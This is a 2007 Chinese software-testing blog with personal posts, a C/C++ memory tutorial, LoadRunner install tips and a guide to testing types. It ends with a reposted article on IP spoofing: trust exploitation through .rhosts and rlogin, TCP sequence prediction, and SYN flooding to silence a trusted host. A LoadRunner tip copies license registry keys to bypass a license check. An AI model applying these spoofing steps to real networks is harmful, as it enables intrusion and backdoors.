唯你测吧欢迎来自五湖四海的朋友!!! 希望大家为唯你测吧更添一道色彩!!! 欢迎大家加入Q群:34973397 欢迎大家访问测试中国网站:www.testingcn.com

发布新日志

  • 好难过~~~我快受不了了

    2007-05-24 09:19:26

     

    今天心情非常的不好,从昨天的沉闷到今天的郁闷,只是偶尔有朋友的笑声传入耳朵,更拥起了自己的一篇伤感

    我不明白为什么会这样

    好难过~真的好难过

    突然发现自己好久没有哭了

    伤心的眼泪  为谁而流

    泪眼模糊,看到的还是镜中的自己~~

    好难过,好伤心~~

  • 迷雾森林

    2007-05-11 14:35:30

     

    在与不在一起都是美丽

    得不得到都是回忆

    过往的风怎么能吹走曾经驻留的云

    而你却一再让我心碎

     

    打不打破都是梦样的烟云

    值不值得也只是离开后的思绪

    偶然的相视怎么能带着一生的爱恋

    原是我一直活在梦幻里

     

    迷雾森林不是我的乐园

    我的爱情也不会在天空中摇曳

    是就是,不是就不是

    不需要任何的茫然

     

    一再的沉默的意义也很明了

    伪装的感情我是不会去要

    伤在心里的痛只有我自己知道

    一棵树的高傲又岂是所有人都知晓

     

    浪漫的爱情实际的却很少

    一再的哭泣原是沉没的微笑

    云有她的追求树却有自己的高傲

    只有分清楚云和树才能走出迷雾森林的怀抱

     

    太久的沉睡原是没有找到方向

    可时间的长河却是会流到远方

    森林里的悲哀不是树的愿望

    迷雾仍在笼罩     而你 

    也还是那个猥亵的笑

     

     

  • 正确使用内存(转载)

    2007-05-07 14:41:37

    对于初学者来说,内存是个神秘的空间。程序的绝大部分错误,也是在于内存的使用不当造成的,而且这些错误有些都是隐藏很深的。所以,如何掌握内存的使用,通晓系统对内存的管理手段,将是软件成功的一个非常关键的因素。
           首先我们要了解内存的分配方式。一般来说,内存的分配方式有三种:
    1.从静态存储区域分配。内存在程序编译的时候就已经分配好,这块内存在程序的整个运行期间都存在。例如全局变量,static变量。
    2.在栈上创建。在执行函数时,函数内局部变量的存储单元都可以在栈上创建,函数执行结束时这些存储单元自动被释放。栈内存分配运算内置于处理器的指令集中,效率很高,但是分配的内存容量有限。
    3.从堆上分配,亦称动态内存分配。程序在运行的时候用malloc或new申请任意多少的内存,程序员自己负责在何时用free或delete释放内存。动态内存的生存期由我们决定,使用非常灵活,但问题也最多。
           以上三种分配方式,我们要注意内存生命期的问题:
    1.静态分配的区域的生命期是整个软件运行期,就是说从软件运行开始到软件终止退出。只有软件终止运行后,这块内存才会被系统回收
    2.在栈中分配的空间的生命期与这个变量所在的函数和类相关。如果是函数中定义的局部变量,那么它的生命期就是函数被调用时,如果函数运行结束,那么这块内存就会被回收。如果是类中的成员变量,则它的生命期与类实例的生命期相同
    3.在堆上分配的内存,生命期是从调用new或者malloc开始,到调用delete或者free结束。如果不掉用delete或者free。则这块空间必须到软件运行结束后才能被系统回收。
    下面我们再看看,在使用内存的过程中,我们经常发生一些什么样的错误。以及我们应该采取哪些对策。
    发生内存错误是件非常麻烦的事情。编译器不能自动发现这些错误,通常是在程序运行时才能捕捉到。而这些错误大多没有明显的症状,时隐时现,增加了改错的难度。有时用户怒气冲冲地把你找来,程序却没有发生任何问题,你一走,错误又发作了。
    常见的内存错误及其对策如下:
    1 内存分配未成功,却使用了它。
    编程新手常犯这种错误,因为他们没有意识到内存分配会不成功。常用解决办法是,在使用内存之前检查指针是否为NULL。如果指针p是函数的参数,那么在函数的入口处用assert(p!=NULL)进行检查。如果是用malloc或new来申请内存,应该用if(p==NULL) 或if(p!=NULL)进行防错处理。
    2 内存分配虽然成功,但是尚未初始化就引用它。
    犯这种错误主要有两个起因:一是没有初始化的观念;二是误以为内存的缺省初值全为零,导致引用初值错误(例如数组)。
    内存的缺省初值究竟是什么并没有统一的标准,尽管有些时候为零值,我们宁可信其无不可信其有。所以无论用何种方式创建数组,都别忘了赋初值,即便是赋零值也不可省略,不要嫌麻烦。
    3 内存分配成功并且已经初始化,但操作越过了内存的边界。
    例如在使用数组时经常发生下标“多1”或者“少1”的操作。特别是在for循环语句中,循环次数很容易搞错,导致数组操作越界。
    4 忘记了释放内存,造成内存泄露。
    含有这种错误的函数每被调用一次就丢失一块内存。刚开始时系统的内存充足,你看不到错误。终有一次程序突然死掉,系统出现提示:内存耗尽。
    动态内存的申请与释放必须配对,程序中malloc与free的使用次数一定要相同,否则肯定有错误(new/delete同理)。
    5 释放了内存却继续使用它。
    有三种情况:
    1)程序中的对象调用关系过于复杂,实在难以搞清楚某个对象究竟是否已经释放了内存,此时应该重新设计数据结构,从根本上解决对象管理的混乱局面。
    2)函数的return语句写错了,注意不要返回指向“栈内存”的“指针”或者“引用”,因为该内存在函数体结束时被自动销毁。
    3)使用free或delete释放了内存后,没有将指针设置为NULL。导致产生“野指针”。
    综上所述,我们应该注意:
    1.用malloc或new申请内存之后,应该立即检查指针值是否为NULL。防止使用指针值为NULL的内存。
    2.不要忘记为数组和动态内存赋初值。防止将未被初始化的内存作为右值使用。
    3.避免数组或指针的下标越界,特别要当心发生“多1”或者“少1”操作。
    4.动态内存的申请与释放必须配对,防止内存泄漏。
    5.用free或delete释放了内存之后,立即将指针设置为NULL,防止产生“野指针”
    下面举几个经典的错误例子,大家不要犯同样的错误:
    1. 返回栈内存指针
    char *GetString(void)
    {
    char a[]="hello world";
    char *p =a;
    return p;
    }
    char* pGet = GetString();
    这段程序编译时没有错误,运行也没有错误,但是你却无法使得返回的pGet指针指向的数据是你想要的“hello world”,因为指针p的生命期是函数GetString内,运行完函数GetString后,p分配的栈空间马上被系统回收了。虽然pGet指向了p当初分配的内存地址,但是那块地址已经没有内容了。
    2.这是一个出现频率非常高的错误
    char* pChar = new char;
    ……
    int a ;
    pChar = &a;
    ……
    delete pChar;
    当然这是一个例子,具体的程序各有不同。
    这段程序有两个问题。一是pChar = &a;将导致pChar原先分配的空间无法再被获取,就象我们的丢失了朋友的电话号码一样,无法再联系这个朋友了。这就造成了内存泄漏。如果内存泄漏多了,可能导致系统的崩溃,因为可用的资源将越来越少,直到枯竭为止。第二个问题是delete pChar将导致异常发生,因为这时的pChar已经不是指向动态分配的内存了,而是指向了a分配的栈空间,而栈空间是不能使用delete来回收的,因此将导致内存异常。
  • 评价测试结果准则

    2007-05-02 09:46:11

    评价测试结果准则:
           测试覆盖率:评价测试的完备性
           需求覆盖率
           代码覆盖率
           质量评测
           缺陷报告
              缺陷密度
              缺陷龄期
              缺陷趋势
           性能评测
              动态监测
              响应时间/吞吐量
              百分位报告
              比较报告
              追踪和配置文件报告
  • LR在安装和卸载问题上的一点总结

    2007-04-26 14:04:23

    在安装 Loaderunnner 过程中也许你经常遇到,提示无法安装的情况,我也遇到过相关问题,于是查阅了相关资料,总结了一下,好东西不敢独享,拿出来和同行一起交流

    (一)  提示:“ the link file .... may be corrupted or has illegated link string ”的,提示重复多次均无法安装。

    原因 :你的 Loaderunner 的安装文件夹名写成中文了,造成 Lr 的安装教本无法识别路径,最终导致不断有这样的错误提示。

    解决方案:把安装文件的目录名改为非中文就可以了。

    (二)  没法完全卸载

    要想把 LR 的老版本完全卸载,正确的步骤是:

    1.         停止所有的运行的 LR 的进程和服务( including the Controller, VuGen, Analysis or the LoadRunner Agent Process/Service

    2.         备份已有的脚本,你的脚本有可能在你的默认安装路径下

    3.         在控制面板的添加删除程序中,删除 LR ,并重启机器

    4.         手动删除所有 LR 的文件夹,包括您的开始菜单里的 LR 快捷方式

    5.         如果你的版本是 6 0 系列的,删除 Borland 文件夹(通常在 C:\Borland or C:\BDE  目录下)

    6.         搜索    wlrun.*    vugen.* ,除了安装文件夹中的文件,其他的都删除

    7.         打开注册表,找到

    如果只安装了 MI 公司的 LoadRunner 这一个产品,请删除:

    HKEY_LOCAL_MACHINESOFTWAREMercury Interactive.

    HKEY_CURRENT_USERSOFTWAREMercury Interactive.

    否则请删除:

    HKEY_LOCAL_MACHINESOFTWAREMercury InteractiveLoadRunner.

    HKEY_CURRENT_USERSOFTWAREMercury InteractiveLoadRunner.

    删除所有和 LR 有关的数值,除了你的 License2 License

     

    8.         清空回收站

    实现以上步骤后,即可放心安装了,切记在重装后,一定要重启机器,因为一些必要信息要写入注册表。

    (三)  卸载后 , 执行安装过程时出现“ license security violation.Operation is not allowed ”提示信息 , 安装失败

    解决方案: :

    1.         进入一台 Loadrunner 运行正常的电脑 ( 安装路径要和你的相同 ) 进入注册表 , 导出以下两个目录 :

    HKEY_CURRENT_USER\Software\Mercury Interactive

    HKEY_LOCAL_MACHINE\SOFTWARE\Mercury Interactive

    2.         回到刚才安装不成功的电脑 , 进入注册表导入刚才这两个文件 .

    3.         再次执行安装 .

    建议 : 如果有用 Ghost 提前做 Ghost, 或者为系统设置还原点 .

  • 软件测试的14种类型

    2007-04-24 09:38:09

    软件测试是指使用人工或者自动的手段来运行或测定某个软件产品系统的过程,其目的是在于检验是否满足规定的需求或者弄清预期的结果与实际结果的区别。本文主要描述软件测试的类型。
    1 数据和数据库完整性测试
    数据与数据库完整测试是指测试关系型数据库完整性原则以及数据合理性测试。
    数据库完整性原即:
    主码完整性:主码不能为空;
    外码完整性:外码必须等于对应的主码或者为空。
    数据合理性指数据在数据库中的类型,长度,索引等是否建的比较合理。
    在项目名称中,数据库和数据库进程应作为一个子系统来进行测试。在测试这些子系统时,不应将测试对象的用户界面用作数据的接口。对于数据库管理系统 (DBMS),还需要进行深入的研究,以确定可以支1持测试的工具和技术。
    比如,有两张表:部门和员工。部门中有部门编号,部门名称,部门经理等字段,主码为部门编号;员工表中有员工编号,员工所属部门编号,员工名称,员工类型等字段,主码为员工编号,外码为员工所属部门编号,对应部门表。如果在某条部门记录中部门编号或员工记录员工编号为空,他就违反主码完整性原则。如果某个员工所属部门的编号为##,但是##在部门编号中确找不到,这就违反外码完整性原则。
    员工类型如下定义:0:职工,1:职员,2:实习生。但数据类型为Int,我们都知道Int占有4个字节,如果定义成char(1).就比原来节约空间。
    2 白盒测试
    白盒测试是基于代码的测试,测试人员通过阅读程序代码或者通过使用开发工具中的单步调试来判断软件的质量,一般黑盒测试由项目经理在程序员开发中来实现。白盒测试分为动态白盒测试和静态白盒测试
    2.1 静态白盒测试
    利用眼睛,浏览代码,凭借经验,找出代码中的错误或者代码中不符合书写规范的地方。比如,代码规范中规定,函数必须为动宾结构。而黑盒测试发现一个函数定义如下:
    Function NameGet(){
    ….
    }
    这是属于不符合开发规范的错误。
    有这样一段代码:
    if (i<0) & (i>=0)
    这段代码交集为整个数轴,IF语句没有必要
    I=0;
    while(I>100){
    J=J+100;
    T=J*PI;
    }
    在循环体内没有I的增加,bug产生。
    2.2 动态白盒测试
    利用开发工具中的调式工具进行测试。比如一段代码有4个分支,输入4组不同的测试数据使4组分支都可以走通而且结果必须正确。
    看一段代码
    if(I<0){
    P1
    }else{
    P2
    }
    在调试中输入I=-1,P1程序段通过, P2程序段未通过,属于动态黑盒测试的缺陷
    3.功能测试
    功能测试指测试软件各个功能模块是否正确,逻辑是否正确。
    对测试对象的功能测试应侧重于所有可直接追踪到用例或业务功能和业务规则的测试需求。这种测试的目标是核实数据的接受、处理和检索是否正确,以及业务规则的实施是否恰当。此类测试基于黑盒技术,该技术通过图形用户界面 (GUI) 与应用程序进行交互,并对交互的输出或结果进行分析,以此来核实应用程序及其内部进程。功能测试的主要参考为类似于功能说明书之类的文档。
    比如一个对电子商务系统,前台用户浏览商品-放入购物车-进入结账台,后台处理订单,配货,付款,发货,这一系列流程必须正确无误的走通,不能存在任何的错误。
    4.UI测试
    UI测试指测试用户界面的风格是否满足客户要求,文字是否正确,页面美工是否好看,文字,图片组合是否完美,背景是否美观,操作是否友好等等
    用户界面 (UI) 测试用于核实用户与软件之间的交互。UI 测试的目标是确保用户界面会通过测试对象的功能来为用户提供相应的访问或浏览功能。另外,UI 测试还可确保 UI 中的对象按照预期的方式运行,并符合公司或行业的标准。包括用户友好性,人性化,易操作性测试。UI测试比较主观,与测试人员的喜好有关
    比如:页面基调颜色刺眼;用户登入页面比较难于找到,文字中出现错别字,页面图片范围太广等都属于UI测试中的缺陷,但是这些缺陷都不太严重。
    5.性能测试
    性能测试主要测试软件测试的性能,包括负载测试,强度测试,数据库容量测试,基准测试以及基准测试
    5.1负载测试
    负载测试是一种性能测试指数据在超负荷环境中运行,程序是否能够承担。
    在这种测试中,将使测试对象承担不同的工作量,以评测和评估测试对象在不同工作量条件下的性能行为,以及持续正常运行的能力。负载测试的目标是确定并确保系统在超出最大预期工作量的情况下仍能正常运行。此外,负载测试还要评估性能特征,例如,响应时间、事务处理速率和其他与时间相关的方面。
    比如,在B/S结构中用户并发量测试就是属于负载测试的用户,可以使用webload工具,模拟上百人客户同时访问网站,看系统响应时间,处理速度如何?
    5.2强度测试
    强度测试是一种性能测试,他在系统资源特别低的情况下软件系统运行情况。这类测试往往可以书写系统要求的软硬件水平要求。
    实施和执行此类测试的目的是找出因资源不足或资源争用而导致的错误。如果内存或磁盘空间不足,测试对象就可能会表现出一些在正常条件下并不明显的缺陷。而其他缺陷则可能由于争用共享资源(如数据库锁或网络带宽)而造成的。强度测试还可用于确定测试对象能够处理的最大工作量。
    比如:一个系统在内存366M下可以正常运行,但是降低到258M下不可以运行,告诉内存不足,这个系统对内存的要求就是366M。
    5.3数据库容量测试
    数据库容量测试指通过存储过程往数据库表中插入一定数量的数据,看看相关页面是否能够及时显示数据。
    数据库容量测试使测试对象处理大量的数据,以确定是否达到了将使软件发生故障的极限。容量测试还将确定测试对象在给定时间内能够持续处理的最大负载或工作量。例如,如果测试对象正在为生成一份报表而处理一组数据库记录,那么容量测试就会使用一个大型的测试数据库,检验该软件是否正常运行并生成了正确的报表。做这种测试通常通过书写存储过程向数据库某个表中插入一定数量的记录,计算相关页面的调用时间。
    比如,在电子商务系统中,通过insert customer 往user表中插入10 000数据,看其是否可以正常显示顾客信息列表页面,如果要求达到最多可以处理100 000个客户,但是顾客信息列表页面不能够在规定的时间内显示出来,就需要调整程序中的SQL查询语句;如果在规定的时间内显示出来,可以将用户数分别提高到20 000 , 50 000, 100 000进行测试。
    5.4基准测试
    基准测试与已知现有的系统进行比较,主要检验是否与类似的产品具有竞争性的一种测试。
    如果你要开发一套财务系统软件并且你已经获得用友财务系统的性能等数据,你可以测试你这套系统,看看哪些地方比用友财务系统好,哪些地方差?以便改进自己的系统,也可为产品广告提供数据。
    5.5竞争测试
    软件竞争使用各种资源(数据纪录,内存等),看他与其他相关系统对资源的争夺能力。比如:一台机器上即安装您的财务系统,又安装用友财务系统。当CPU占有率下降后,看看是否能够强过用友财务系统,而是自己的系统能够正常运行?
    6. 安全性和访问控制测试
    安全性和访问控制测试侧重于安全性的两个关键方面:
    应用程序级别的安全性,包括对数据或业务功能的访问
    系统级别的安全性,包括对系统的登录或远程访问。
    6.1应用程序级别的安全性
    可确保:在预期的安全性情况下,主角只能访问特定的功能或用例,或者只能访问有限的数据。例如,可能会允许所有人输入数据,创建新账户,但只有管理员才能删除这些数据或账户。如果具有数据级别的安全性,测试就可确保“用户类型一”能够看到所有客户消息(包括财务数据),而“用户二”只能看见同一客户的统计数据。
    比如B/S系统,不通过登入页面,直接输入URL,看其是否能够进入系统?
    6.2系统级别的安全性
    可确保只有具备系统访问权限的用户才能访问应用程序,而且只能通过相应的网关来访问。
    比如输入管理员账户,检查其密码是否容易猜取,或者可以从数据库中获得?
    7.故障转移和恢复测试
    故障转移和恢复测试指当主机软硬件发生灾难时候,备份机器是否能够正常启动,使系统是否可以正常运行,这对于电信,银行等领域的软件是十分重要的。
    故障转移和恢复测试可确保测试对象能成功完成故障转移,并能从导致意外数据损失或数据完整性破坏的各种硬件、软件或网络故障中恢复。
    故障转移测试可确保:对于必须持续运行的系统,一旦发生故障,备用系统就将不失时机地“顶替”发生故障的系统,以避免丢失任何数据或事务。
    恢复测试是一种对抗性的测试过程。在这种测试中,将把应用程序或系统置于极端的条件下(或者是模拟的极端条件下),以产生故障(例如设备输入/输出 (I/O) 故障或无效的数据库指针和关健字)。然后调用恢复进程并监测和检查应用程序和系统,核实应用程序或系统和数据已得到了正确的恢复。一定要注意主备定时备份
    比如电信系统,突然主机程序发生死机,备份机器是否能够启动,使系统能够正常运行,从而不影响用户打电话?
    8.配置测试
    又叫兼容性测试。配置测试核实测试对象在不同的软件和硬件配置中的运行情况。在大多数生产环境中,客户机工作站、网络连接和数据库服务器的具体硬件规格会有所不同。客户机工作站可能会安装不同的软件例如,应用程序、驱动程序等而且在任何时候,都可能运行许多不同的软件组合,从而占用不同的资源。(如浏览器版本,操作系统版本等)
    下面列出主要配置测试
    8.1浏览器兼容性
    测试软件在不同产商的浏览器下是否能够正确显示与运行;
    比如测试IE,Natscape浏览器下是否可以运行这套软件?
    8.2操作系统兼容性
    测试软件在不同操作系统下是否能够正确显示与运行;
    比如测试WINDOWS98,WINDOWS 2000,WINDOWS XP,LINU, UNIX下是否可以运行这套软件?
    8.3硬件兼容性
    测试与硬件密切相关的软件产品与其他硬件产品的兼容性,比如该软件是少在并口设备中的,测试同时使用其他并口设备,系统是否可以正确使用.
    比如在INTER,舒龙CPU芯片下系统是否能够正常运行?
    这样的测试必须建立测试实验室,在各种环境下进行测试。
    9.安装测试
    安装测试有两个目的。第一个目的是确保该软件在正常情况和异常情况的不同条件下: 例如,进行首次安装、升级、完整的或自定义的安装_都能进行安装。异常情况包括磁盘空间不足、缺少目录创建权限等。第二个目的是核实软件在安装后可立即正常运行。这通常是指运行大量为功能测试制定的测试。
    安装测试包括测试安装代码以及安装手册。安装手册提供如何进行安装,安装代码提供安装一些程序能够运行的基础数据。
    10.多语种测试
    又称本地化测试,是指为各个地方开发产品的测试,如英文版,中文版等等,包括程序是否能够正常运行,界面是否符合当地习俗,快捷键是否正常起作用等等,特别测试在A语言环境下运行B语言软件(比如在英文win98下试图运行中文版的程序),出现现象是否正常。
    本地化测试还要考虑:
    l 当语言从A翻译到B,字符长度变化是否影响页面效果。比如中文软件中有个按键叫“看广告”,翻译到英文版本中为 “View advertisement”可能影响页面的美观程度
    l 要考虑同一单词在各个国家的不同意思,比如football在英文中为足球,而美国人使用中可能理解为美式橄榄球。
    l 要考虑各个国家的民族习惯,比如龙个美国中被理解邪恶的象征,但翻译到中国,中国人认为为吉祥的象征。
    11.文字测试
    文字测试测试软件中是否拼写正确,是否易懂,不存在二义性,没有语法错误;文字与内容是否有出入等等,包括图片文字。
    比如:“比如,请输入正确的证件号码!”何谓正确的证件号码,证件可以为身份证,驾驶证,也可为军官证,如果改为“请输入正确的身份证号码!”用户就比较容易理解了。
    12.分辨率测试
    测试在不同分辨率下,界面的美观程度,分为800*600,1024*768,1152*864,1280*768,1280*1024,1200*1600大小字体下测试。一个好的软件要有一个极佳的分辨率,而在其他分辨率下也都能可以运行。
    13发布测试
    主要在产品发布前对一些附带产品,比如说明书,广告稿等进行测试
    13.1说明书测试
    主要为语言检查,功能检查,图片检查
    语言检查:检查说明书语言是否正确,用词是否易于理解;
    功能检查:功能是否描述完全,或者描述了并没有的功能等;
    图片检查::检查图片是否正确
    13.2宣传材料测试
    主要测试产品中的附带的宣传材料中的语言,描述功能,图片
    13.3帮助文件测试
    帮助文件是否正确,易懂,是否人性化。最好能够提供检索功能。
    13.4广告用语
    产品出公司前的广告材料文字,功能,图片,人性化的检查
    14 文档审核测试
    文档审核测试目前越来越引起人们的重视,软件质量不是检查出来的,而是融进软件开发中来。前置软件测试发越来越受到重视。请看一个资料:
    文档审核测试主要包括需求文档测试,设计文档测试,为前置软件测试测试中的一部分。
    14.1需求文档测试
    主要测试需求中是否存在逻辑矛盾以及需求在技术上是否可以实现;
    14.2设计文档测试
    测试设计是否符合全部需求以及设计是否合理。
    总结
    据美国软件质量安全中心2000年对美国一百家知名的软件厂商统计,得出这样一个结论:软件缺陷在开发前期发现比在开发后期发现资金,人力上节约90%;软件缺陷在推向市场前发现比在推出后发现资金,人力上节约90%。所以说软件的缺陷应该尽早发现。不是所有的软件都要进行任何类型的软件测试的,可以根据产品的具体情况进行组装测试不同的类型。
  • IP欺骗技术

    2007-04-23 15:24:06

    即使是很好的实现了TCP/IP协议,由于它本身有着一些不安全的地方,从而可以对TCP/IP网络进行攻击。这些攻击包括序列号欺骗,路由攻击,源地址欺骗和授权欺骗。本文除了介绍IP欺骗攻击方法外,还介绍怎样防止这个攻击手段。
     
    上述攻击是建立在攻击者的计算机(包括路由)是连在INTERNET上的。这里的攻击方法是针对TCP/IP本身的缺陷的,而不是某一具体的实现。
     
    实际上,IP 欺骗不是进攻的结果,而是进攻的手段。进攻实际上是信任关系的破坏。
     
    第一节 IP欺骗原理
     
    信任关系
     
    > ~/.rhosts' ;从主机B上,在你的home目录中输入'echo " A username >~/.rhosts' 。至此,你能毫无阻碍地使用任何以r*开头的远程调用命令,如:rlogin,rcall,rsh等,而无口令验证的烦恼。这些命令将允许以地址为基础的验证,或者允许或者拒绝以IP地址为基础的存取服务。
     
    这里的信任关系是基于IP地址的。
     
    Rlogin
     
    Rlogin 是一个简单的客户/服务器程序,它利用TCP传输。Rlogin 允许用户从一台主机登录到另一台主机上,并且,如果目标主机信任它,Rlogin 将允许在不应答口令的情况下使用目标主机上的资源。安全验证完全是基于源主机的IP 地址。因此,根据以上所举的例子,我们能利用Rlogin 来从B远程登录到A,而且不会被提示输入口令。
     
    TCP 序列号预测
     
    IP只是发送数据包,并且保证它的完整性。如果不能收到完整的IP数据包,IP会向源地址发送一个ICMP 错误信息,希望重新处理。然而这个包也可能丢失。由于IP是非面向连接的,所以不保持任何连接状态的信息。每个IP数据包被松散地发送出去,而不关心前一个和后一个数据包的情况。由此看出,可以对IP堆栈进行修改,在源地址和目的地址中放入任意满足要求的IP地址,也就是说,提供虚假的IP地址。
     
    TCP提供可靠传输。可靠性是由数据包中的多位控制字来提供的,其中最重要的是数据序列和数据确认,分别用SYN和ACK来表示。TCP 向每一个数据字节分配一个序列号,并且可以向已成功接收的、源地址所发送的数据包表示确认(目的地址ACK 所确认的数据包序列是源地址的数据包序列,而不是自己发送的数据包序列)。ACK在确认的同时,还携带了下一个期望获得的数据序列号。显然,TCP提供的这种可靠性相对于IP来说更难于愚弄。
     
    序列编号、确认和其它标志信息 
     
    由于TCP是基于可靠性的,它能够提供处理数据包丢失,重复或是顺序紊乱等不良情况的机制。实际上,通过向所传送出的所有字节分配序列编号,并且期待接收端对发送端所发出的数据提供收讫确认,TCP 就能保证可靠的传送。接收端利用序列号确保数据的先后顺序,除去重复的数据包。TCP 序列编号可以看作是32位的计数器。它们从0至2^32-1 排列。每一个TCP连接(由一定的标示位来表示)交换的数据都是顺序编号的。在TCP数据包中定义序列号(SYN)的标示位位于数据段的前端。确认位(ACK)对所接收的数据进行确认,并且指出下一个期待接收的数据序列号。 
     
    TCP通过滑动窗口的概念来进行流量控制。设想在发送端发送数据的速度很快而接收端接收速度却很慢的情况下,为了保证数据不丢失,显然需要进行流量控制,协调好通信双方的工作节奏。所谓滑动窗口,可以理解成接收端所能提供的缓冲区大小。TCP利用一个滑动的窗口来告诉发送端对它所发送的数据能提供多大的缓冲区。由于窗口由16位bit所定义,所以接收端TCP 能最大提供65535个字节的缓冲。由此,可以利用窗口大小和第一个数据的序列号计算出最大可接收的数据序列号。 
     
    其它TCP标示位有RST(连接复位,Reset the connection)、PSH(压入功能,Push function)和FIN (发送者无数据,No more data from sender)。如果RST 被接收,TCP连接将立即断开。RST 通常在接收端接收到一个与当前连接不相关的数据包时被发送。有些时候,TCP模块需要立即传送数据而不能等整段都充满时再传。一个高层的进程将会触发在TCP头部的PSH标示,并且告诉TCP模块立即将所有排列好的数据发给数据接收端。FIN 表示一个应用连接结束。当接收端接收到FIN时,确认它,认为将接收不到任何数据了。 
     
    TCP序列号预测最早是由Morris对这一安全漏洞进行阐述的。他使用TCP序列号预测,即使是没有从服务器得到任何响应, 来产生一个TCP包序列。这使得他能欺骗在本地网络上的主机。
     
    通常TCP连接建立一个包括3次握手的序列。客户选择和传输一个初始的序列号(SEQ标志)ISN C,并设置标志位SYN=1,告诉服务器它需要建立连接。服务器确认这个传输,并发送它本身的序列号ISN S,并设置标志位ACK,同时告知下一个期待获得的数据序列号是ISN=1。客户再确认它。在这三次确认后,开始传输数据。整个过程如下所示:(C:Client S:Server)
    C---S: SYN(ISN C ) 
    S---C: SYN(ISN S ) ,ACK(ISN C ) 
    C---S: ACK(ISN S ) 
    C---S:数据 或S---C:数据
     
    也就是说对一个会话,C必须得到ISN S确认。ISN S可能是一个随机数。
     
    了解序数编号如何选择初始序列号和如何根据时间变化是很重要的。似乎应该有这种情况,当主机启动后序列编号初始化为1,但实际上并非如此。初始序列号是由tcp_init函数确定的。ISN每秒增加128000,如果有连接出现,每次连接将把计数器的数值增加64000。很显然,这使得用于表示ISN的32位计数器在没有连接的情况下每9.32 小时复位一次。之所以这样,是因为这样有利于最大限度地减少旧有连接的信息干扰当前连接的机会。这里运用了2MSL 等待时间的概念(不在本文讨论的范围之内)。如果初始序列号是随意选择的,那么不能保证现有序列号是不同于先前的。假设有这样一种情况,在一个路由回路中的数据包最终跳出了循环,回到了“旧有”的连接(此时其实是不同于前者的现有连接),显然会发生对现有连接的干扰。
     
    假设一个入侵者X有一种方法,能预测ISN S。在这种情况下,他可能将下列序号送给主机T来模拟客户的真正的ISN S:
    X---S: SYN(ISN X ) ,SRC = T 
    S---T: SYN(ISN S ) ,ACK(ISN X ) 
    X---S: ACK(ISN S ) ,SRC =T 
     
    尽管消息S*T并不到X,但是X能知道它的内容,因此能发送数据。如果X要对一个连接实施攻击,这个连接允许执行命令,那么另外的命令也能执行。
     
    那么怎样产生随机的ISN?在Berkeley系统,最初的序列号变量由一个常数每秒加一产生,等到这个常数一半时,就开始一次连接。这样,如果开始了一个合法连接,并观察到一个ISN S在用,便可以计算,有很高可信度,ISN S 用在下一个连接企图。
     
    Morris 指出,回复消息
    S---T:SYN(ISN S ) ,ACK(ISN X )
    事实上并不消失,真正主机将收到它,并试图重新连接。这并不是一个严重的障碍。
     
    Morris发现,通过模仿一个在T上的端口,并向那个端口请求一个连接,他就能产生序列溢出,从而让它看上去S*T消息丢失了。另外一个方法,可以等待知道T关机或重新启动。
     
    下面详细的介绍一下。
    IP欺骗
     
    IP欺骗由若干步骤组成,这里先简要地描述一下,随后再做详尽地解释。先做以下假定:首先,目标主机已经选定。其次,信任模式已被发现,并找到了一个被目标主机信任的主机。黑客为了进行IP欺骗,进行以下工作:使得被信任的主机丧失工作能力,同时采样目标主机发出的TCP 序列号,猜测出它的数据序列号。然后,伪装成被信任的主机,同时建立起与目标主机基于地址验证的应用连接。如果成功,黑客可以使用一种简单的命令放置一个系统后门,以进行非授权操作。
     
    使被信任主机丧失工作能力 
     
    一旦发现被信任的主机,为了伪装成它,往往使其丧失工作能力。由于攻击者将要代替真正的被信任主机,他必须确保真正被信任的主机不能接收到任何有效的网络数据,否则将会被揭穿。有许多方法可以做到这些。这里介绍“TCP SYN 淹没”。
     
    前面已经谈到,建立TCP连接的第一步就是客户端向服务器发送SYN请求。 通常,服务器将向客户端发送SYN/ACK 信号。这里客户端是由IP地址确定的。客户端随后向服务器发送ACK,然后数据传输就可以进行了。然而,TCP处理模块有一个处理并行SYN请求的最上限,它可以看作是存放多条连接的队列长度。其中,连接数目包括了那些三步握手法没有最终完成的连接,也包括了那些已成功完成握手,但还没有被应用程序所调用的连接。如果达到队列的最上限,TCP将拒绝所有连接请求,直至处理了部分连接链路。因此,这里是有机可乘的。
     
    黑客往往向被进攻目标的TCP端口发送大量SYN请求,这些请求的源地址是使用一个合法的但是虚假的IP地址(可能使用该合法IP地址的主机没有开机)。而受攻击的主机往往是会向该IP地址发送响应的,但可惜是杳无音信。与此同时IP包会通知受攻击主机的TCP:该主机不可到达,但不幸的是TCP会认为是一种暂时错误,并继续尝试连接(比如继续对该IP地址进行路由,发出SYN/ACK数据包等等),直至确信无法连接。
     
    当然,这时已流逝了大量的宝贵时间。值得注意的是,黑客们是不会使用那些正在工作的IP地址的,因为这样一来,真正IP持有者会收到SYN/ACK响应,而随之发送RST给受攻击主机,从而断开连接。前面所描述的过程可以表示为如下模式。 
    1 Z (X) ---SYN ---> B
      Z (X) ---SYN ---> B
      Z (X) ---SYN ---> B
     
    2 X <---SYN/ACK-- B
    X <---SYN/ACK-- B
     
    3 X <--- RST --- B
      
    在时刻1时,攻击主机把大批SYN 请求发送到受攻击目标(在此阶段,是那个被信任的主机),使其TCP队列充满。在时刻2时,受攻击目标向它所相信的IP地址(虚假的IP)作出SYN/ACK反应。在这一期间,受攻击主机的TCP模块会对所有新的请求予以忽视。不同的TCP 保持连接队列的长度是有所不同的。BSD 一般是5,Linux一般是6。使被信任主机失去处理新连接的能力,所赢得的宝贵空隙时间就是黑客进行攻击目标主机的时间,这使其伪装成被信任主机成为可能。
     
    序列号取样和猜测 
     
    前面已经提到,要对目标主机进行攻击,必须知道目标主机使用的数据包序列号。现在,我们来讨论黑客是如何进行预测的。他们先与被攻击主机的一个端口(SMTP是一个很好的选择)建立起正常的连接。通常,这个过程被重复若干次,并将目标主机最后所发送的ISN存储起来。黑客还需要估计他的主机与被信任主机之间的RTT时间(往返时间),这个RTT时间是通过多次统计平均求出的。RTT 对于估计下一个ISN是非常重要的。前面已经提到每秒钟ISN增加128000,每次连接增加64000。现在就不难估计出ISN的大小了,它是128000乘以RTT的一半,如果此时目标主机刚刚建立过一个连接,那么再加上一个64000。再估计出ISN大小后,立即就开始进行攻击。当黑客的虚假TCP数据包进入目标主机时,根据估计的准确度不同,会发生不同的情况: 
     
    ·如果估计的序列号是准确的,进入的数据将被放置在接收缓冲器以供使用。 
     
    ·如果估计的序列号小于期待的数字,那么将被放弃。 
     
